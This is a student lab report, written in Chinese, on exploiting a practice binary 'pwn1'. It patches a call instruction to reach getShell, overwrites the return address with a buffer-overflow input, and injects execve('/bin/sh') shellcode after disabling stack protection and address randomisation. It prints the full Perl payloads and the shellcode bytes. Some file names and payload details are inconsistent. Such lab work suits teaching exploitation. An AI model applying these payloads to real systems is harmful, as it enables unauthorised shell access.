一.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
二.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
三.实验过程
任务一:
1.下载pwn文件并修改名称(格式为pwn+本人学号)
2.使用objdump -d pwn2032428 | more反汇编程序
getShell地址:0x0804847d
foo地址:0x08048491
main中调用foo的指令:0x80484b5处的call 8048491
3.计算跳转偏移(将 call foo 改为 call getShell)
call是相对寻址,需计算getShell相对于 “call 下一条指令” 的偏移:
call指令地址:0x80484b5,下一条指令地址:0x80484ba
偏移 = getShell地址 - 下一条指令地址 = 0x804847d - 0x80484ba = -0x29(十进制-41)
补码表示(32 位):0xffffffc3(小端序存储,最终机器指令中为c3 ff ff ff)
4.修改可执行文件
用 vi 打开并进入十六进制模式:
vi pwn20232428
按ESC,输入:%!xxd(转换为十六进制视图)
查找目标指令:输入/e8d7(定位call foo的机器指令e8 d7 ff ff ff)
修改偏移:将d7改为c3,使指令变为e8 c3 ff ff ff
转换回原格式并保存:
输入:%!xxd -r(转回二进制)
输入:wq保存退出
5.运行程序:./pwn20232428,若出现shell提示符(如#),则修改成功
任务一完成!
任务二:BOF攻击实践输入gdb,
1.安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb,并输入gdb,检查gdb是否安装成功。
2.启动 gdb:gdb pwn20232428temp(此时我重新复制一份pwn文件并命名为20232428temp以区分任务一中的pwn文件)
使用gdb对pwn20222414程序进行调试时,输入字符串1111111122222222333333334444444412345678,然后使用命令info r查看寄存器eip的值,发现输入的1234(即十六进制的0x34333231)被覆盖到了堆栈上的返回地址。因此,我们只需将这四个字符替换为getShell的内存地址,就可以让程序执行getShell函数。
根据之前的反汇编结果,getShell函数的内存地址为0x0804847d。将该地址替换为原来的返回地址位置,并将其输入给pwn20222414,即可成功运行getShell函数。
3.构造攻击输入(覆盖返回地址为 getShell 地址)
getShell地址为0x0804847d,因 x86 为小端序,需将地址按 “字节逆序” 写入输入:
构造输入格式:[垃圾数据(32字节)] + \x7d\x84\x04\x08 + [换行符(可选)]
用 Perl 生成输入文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
通过管道将输入传给程序:
(cat input; cat) | ./pwn20232428temp
程序执行后,输入的垃圾数据会溢出覆盖返回地址为getShell的地址,触发getShell执行,此时会获得shell提示符,可执行系统命令(如ls)。
任务二完成!
任务三:注入Shellcode并执行
1.Shellcode 需要 “堆栈可执行” 且 “地址固定”,因此需修改系统配置:
设置堆栈可执行:
execstack -s pwn20232428_1 # 允许堆栈执行代码
execstack -q pwn20232428_1 # 验证:输出“X pwn20232428_1”表示设置成功
关闭地址随机化:
echo "0" > /proc/sys/kernel/randomize_va_space # 关闭内存地址随机化
more /proc/sys/kernel/randomize_va_space # 验证:输出“0”
这里将pwn复制一份后改名为pwn20232428_1以区分前面的pwn
2.准备 Shellcode:获取可执行的机器指令
本次使用的 Shellcode 功能是 “获取交互式 Shell”,指令如下:
plaintext
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
其作用是通过系统调用execve("/bin/sh", ...)启动 Shell。
3.构造 Payload:设计 “垃圾数据 + 跳转地址 + NOP 填充 + Shellcode” 结构
Shellcode 注入的核心是让程序跳转到 Shellcode 所在的内存地址执行。需先确定 Shellcode 的内存地址,再构造 Payload:
步骤 1:初步构造测试 Payload
用 Perl 生成包含 “NOP 填充、Shellcode、临时跳转地址” 的测试输入:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"' > input_shellcode
\x90是 NOP 指令(空操作,用于 “滑行” 到 Shellcode);
末尾\x04\x03\x02\x01是临时跳转地址占位符,后续需替换为真实的 Shellcode 地址。
步骤 2:调试确定 Shellcode 的内存地址
启动带 Payload 的程序:
(cat input_shellcode; cat) | ./pwn20232428_1
保持该终端运行,不要关闭。
另开终端,用 gdb 调试进程:
查找pwn1的进程号:ps -ef | grep pwn20232428_1
启动 gdb 并附加进程:
bash
gdb
(gdb) attach [进程号]
设置断点,查看堆栈内存:
gdb
(gdb) disassemble foo # 查看foo函数的ret指令地址
(gdb) break *0x080484ae # 在ret指令处设断点
(gdb) c # 继续运行,触发断点
(gdb) info r esp # 查看栈顶地址(即返回地址的存储位置)
(gdb) x/16x [栈顶地址] # 查看堆栈内存,找到Shellcode的起始地址
步骤 3:修改 Payload,替换真实跳转地址
根据调试得到的 Shellcode 地址(如0xffffd320),重新构造 Payload:
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
"A" x 32:32 字节垃圾数据,用于填充缓冲区;
\x20\xd3\xff\xff:小端序表示的 Shellcode 地址0xffffd320;
后续是 NOP 填充和 Shellcode 指令。
4.注入 Shellcode 并验证
执行 Payload,验证是否获取 Shell:
bash
(cat input_shellcode; cat) | ./pwn20232428_1
若成功,将出现 Shell 提示符,可执行系统命令(如ls)。